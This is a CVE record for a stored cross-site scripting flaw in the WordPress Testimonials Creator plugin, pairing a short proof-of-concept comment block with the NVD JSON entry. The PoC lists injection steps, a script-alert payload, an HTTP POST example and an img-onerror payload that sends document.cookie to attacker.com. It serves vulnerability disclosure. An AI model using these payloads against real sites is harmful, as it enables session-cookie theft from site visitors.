CVE-2025-14379

// CVE-2025-14379 PoC - Stored XSS in Testimonials Creator Plugin // Author: Wordfence Security // Target: WordPress Testimonials Creator Plugin <= 1.6 // Prerequisites: // 1. Attacker must have Administrator-level access or higher // 2. Target site must be a multi-site installation OR unfiltered_html disabled // PoC Steps: // 1. Navigate to WordPress Admin Dashboard // 2. Go to Testimonials Creator Plugin Settings // 3. In any testimonial field (name, text, etc.), inject the following payload: var xss_payload = '<script>alert(document.cookie)</script>'; // or var xss_payload = '<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'; // 4. Save the testimonial // 5. When any user visits the page containing this testimonial, the XSS will execute // Example HTTP Request to inject malicious content: /* POST /wp-admin/admin.php?page=testimonials-creator HTTP/1.1 Host: target.com Cookie: [admin cookies] Content-Type: application/x-www-form-urlencoded testimonial_name=<script>alert(document.cookie)</script>&testimonial_text=Test&action=save */ // The injected script will execute when viewing the testimonials page, // potentially stealing session cookies and performing actions on behalf of the victim.

{"cve": {"id": "CVE-2025-14379", "sourceIdentifier": "[email protected]", "published": "2026-01-14T06:15:52.133", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Testimonials Creator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in version 1.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}, {"lang": "es", "value": "El plugin Testimonials Creator para WordPress es vulnerable a cross-site scripting almacenado a través de la configuración de administrador en la versión 1.6 debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite que atacantes autenticados, con permisos de nivel de administrador o superiores, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada. Esto solo afecta a instalaciones multisitio e instalaciones donde se ha deshabilitado unfiltered_html."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.org/plugins/testimonials-creator/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3af18a17-81a0-4720-b222-153ab4ddf7d9?source=cve", "source": "[email protected]"}]}}